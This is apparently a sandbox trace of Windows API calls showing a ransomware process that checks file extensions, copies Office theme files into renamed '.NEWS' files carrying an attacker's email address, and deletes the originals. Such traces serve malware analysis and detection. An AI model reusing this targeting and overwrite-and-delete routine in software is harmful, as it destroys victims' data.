[0241.307] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.307] lstrlenW (lpString=".jpg") returned 4 [0241.307] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.307] lstrlenW (lpString=".doc") returned 4 [0241.308] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0241.308] lstrlenW (lpString=".docx") returned 5 [0241.308] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0241.308] lstrlenW (lpString=".pdf") returned 4 [0241.308] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0241.308] lstrlenW (lpString=".xls") returned 4 [0241.308] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0241.308] lstrlenW (lpString=".xlsx") returned 5 [0241.308] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0241.308] lstrlenW (lpString=".ppt") returned 4 [0241.308] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0241.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.309] lstrlenW (lpString=".zip") returned 4 [0241.309] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0241.309] lstrlenW (lpString=".rar") returned 4 [0241.891] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0241.891] lstrlenW (lpString=".bz2") returned 4 [0241.892] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0241.892] lstrlenW (lpString=".7z") returned 3 [0241.892] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0241.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.892] lstrlenW (lpString=".dbf") returned 4 [0241.892] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0241.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.892] lstrlenW (lpString=".1cd") returned 4 [0241.892] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0241.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.893] lstrlenW (lpString=".jpg") returned 4 [0241.893] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0241.894] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0241.894] lstrlenW (lpString="Austin.eftx") returned 11 [0241.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.022] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=26989) returned 1 [0242.022] CloseHandle (hObject=0x288) returned 1 [0242.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0242.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.364] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.364] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0242.578] GetLastError () returned 0x0 [0242.578] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x696d, lpOverlapped=0x0) returned 1 [0242.833] WriteFile (in: hFile=0x304, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x6970, lpOverlapped=0x0) returned 1 [0242.838] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0242.838] WriteFile (in: hFile=0x304, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.839] SetEndOfFile (hFile=0x304) returned 1 [0242.839] CloseHandle (hObject=0x304) returned 1 [0242.839] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.839] SetEndOfFile (hFile=0x3a4) returned 1 [0242.848] CloseHandle (hObject=0x3a4) returned 1 [0242.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0242.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.852] lstrlenW (lpString=".doc") returned 4 [0242.852] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.852] lstrlenW (lpString=".docx") returned 5 [0242.852] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.852] lstrlenW (lpString=".pdf") returned 4 [0242.852] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.852] lstrlenW (lpString=".xls") returned 4 [0242.852] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.852] lstrlenW (lpString=".xlsx") returned 5 [0242.852] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.852] lstrlenW (lpString=".ppt") returned 4 [0242.853] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.853] lstrlenW (lpString=".zip") returned 4 [0242.853] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.853] lstrlenW (lpString=".rar") returned 4 [0242.853] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.853] lstrlenW (lpString=".bz2") returned 4 [0242.853] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.853] lstrlenW (lpString=".7z") returned 3 [0242.856] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.856] lstrlenW (lpString=".dbf") returned 4 [0242.856] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.856] lstrlenW (lpString=".1cd") returned 4 [0242.856] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.856] lstrlenW (lpString=".jpg") returned 4 [0242.856] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.857] lstrlenW (lpString=".doc") returned 4 [0242.857] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.857] lstrlenW (lpString=".docx") returned 5 [0242.857] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.857] lstrlenW (lpString=".pdf") returned 4 [0242.857] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.857] lstrlenW (lpString=".xls") returned 4 [0242.857] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.857] lstrlenW (lpString=".xlsx") returned 5 [0242.858] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.858] lstrlenW (lpString=".ppt") returned 4 [0242.858] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.858] lstrlenW (lpString=".zip") returned 4 [0242.858] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.858] lstrlenW (lpString=".rar") returned 4 [0242.858] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.858] lstrlenW (lpString=".bz2") returned 4 [0242.858] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.858] lstrlenW (lpString=".7z") returned 3 [0242.858] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.859] lstrlenW (lpString=".dbf") returned 4 [0242.859] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.859] lstrlenW (lpString=".1cd") returned 4 [0242.859] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0242.859] lstrlenW (lpString=".jpg") returned 4 [0242.859] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.860] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.860] lstrlenW (lpString="Couture.eftx") returned 12 [0242.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0242.997] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=1967905) returned 1 [0242.997] CloseHandle (hObject=0x3cc) returned 1 [0242.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0242.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0242.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0242.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0242.998] lstrlenW (lpString=".doc") returned 4 [0242.998] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.998] lstrlenW (lpString=".docx") returned 5 [0242.998] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.998] lstrlenW (lpString=".pdf") returned 4 [0242.998] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.998] lstrlenW (lpString=".xls") returned 4 [0242.999] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.999] lstrlenW (lpString=".xlsx") returned 5 [0242.999] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.999] lstrlenW (lpString=".ppt") returned 4 [0242.999] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0242.999] lstrlenW (lpString=".zip") returned 4 [0242.999] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.999] lstrlenW (lpString=".rar") returned 4 [0242.999] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.999] lstrlenW (lpString=".bz2") returned 4 [0242.999] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.999] lstrlenW (lpString=".7z") returned 3 [0242.999] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0242.999] lstrlenW (lpString=".dbf") returned 4 [0242.999] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.000] lstrlenW (lpString=".1cd") returned 4 [0243.000] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.000] lstrlenW (lpString=".jpg") returned 4 [0243.000] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.000] lstrlenW (lpString=".doc") returned 4 [0243.000] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.000] lstrlenW (lpString=".docx") returned 5 [0243.000] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.000] lstrlenW (lpString=".pdf") returned 4 [0243.000] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.000] lstrlenW (lpString=".xls") returned 4 [0243.001] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.001] lstrlenW (lpString=".xlsx") returned 5 [0243.001] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.001] lstrlenW (lpString=".ppt") returned 4 [0243.001] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.001] lstrlenW (lpString=".zip") returned 4 [0243.001] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.001] lstrlenW (lpString=".rar") returned 4 [0243.001] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.001] lstrlenW (lpString=".bz2") returned 4 [0243.001] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.001] lstrlenW (lpString=".7z") returned 3 [0243.001] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.002] lstrlenW (lpString=".dbf") returned 4 [0243.002] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.002] lstrlenW (lpString=".1cd") returned 4 [0243.002] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0243.002] lstrlenW (lpString=".jpg") returned 4 [0243.002] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.002] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0243.002] lstrlenW (lpString="Equity.eftx") returned 11 [0243.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.403] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=24611) returned 1 [0243.404] CloseHandle (hObject=0x3a4) returned 1 [0243.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0244.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0244.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.019] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0245.019] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0245.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0245.103] GetLastError () returned 0x0 [0245.103] ReadFile (in: hFile=0x304, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x6023, lpOverlapped=0x0) returned 1 [0245.196] WriteFile (in: hFile=0x1c0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x6030, lpOverlapped=0x0) returned 1 [0245.201] ReadFile (in: hFile=0x304, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0245.201] WriteFile (in: hFile=0x1c0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xea, lpOverlapped=0x0) returned 1 [0245.201] SetEndOfFile (hFile=0x1c0) returned 1 [0245.201] CloseHandle (hObject=0x1c0) returned 1 [0245.202] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0245.202] SetEndOfFile (hFile=0x304) returned 1 [0245.210] CloseHandle (hObject=0x304) returned 1 [0245.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0245.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.240] lstrlenW (lpString=".doc") returned 4 [0245.241] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.241] lstrlenW (lpString=".docx") returned 5 [0245.241] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.241] lstrlenW (lpString=".pdf") returned 4 [0245.241] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.241] lstrlenW (lpString=".xls") returned 4 [0245.241] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.241] lstrlenW (lpString=".xlsx") returned 5 [0245.241] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.241] lstrlenW (lpString=".ppt") returned 4 [0245.241] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.242] lstrlenW (lpString=".zip") returned 4 [0245.242] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".rar") returned 4 [0245.242] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".bz2") returned 4 [0245.242] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".7z") returned 3 [0245.242] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.242] lstrlenW (lpString=".dbf") returned 4 [0245.242] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.242] lstrlenW (lpString=".1cd") returned 4 [0245.243] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.243] lstrlenW (lpString=".jpg") returned 4 [0245.243] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.243] lstrlenW (lpString=".doc") returned 4 [0245.243] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".docx") returned 5 [0245.243] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.243] lstrlenW (lpString=".pdf") returned 4 [0245.243] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.244] lstrlenW (lpString=".xls") returned 4 [0245.244] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.244] lstrlenW (lpString=".xlsx") returned 5 [0245.244] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.244] lstrlenW (lpString=".ppt") returned 4 [0245.244] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.244] lstrlenW (lpString=".zip") returned 4 [0245.244] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.244] lstrlenW (lpString=".rar") returned 4 [0245.244] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.244] lstrlenW (lpString=".bz2") returned 4 [0245.244] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.244] lstrlenW (lpString=".7z") returned 3 [0245.244] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.245] lstrlenW (lpString=".dbf") returned 4 [0245.245] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.245] lstrlenW (lpString=".1cd") returned 4 [0245.245] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0245.245] lstrlenW (lpString=".jpg") returned 4 [0245.245] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.246] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0245.246] lstrlenW (lpString="Grid.eftx") returned 9 [0245.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.271] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=18639) returned 1 [0245.271] CloseHandle (hObject=0x304) returned 1 [0245.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0245.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 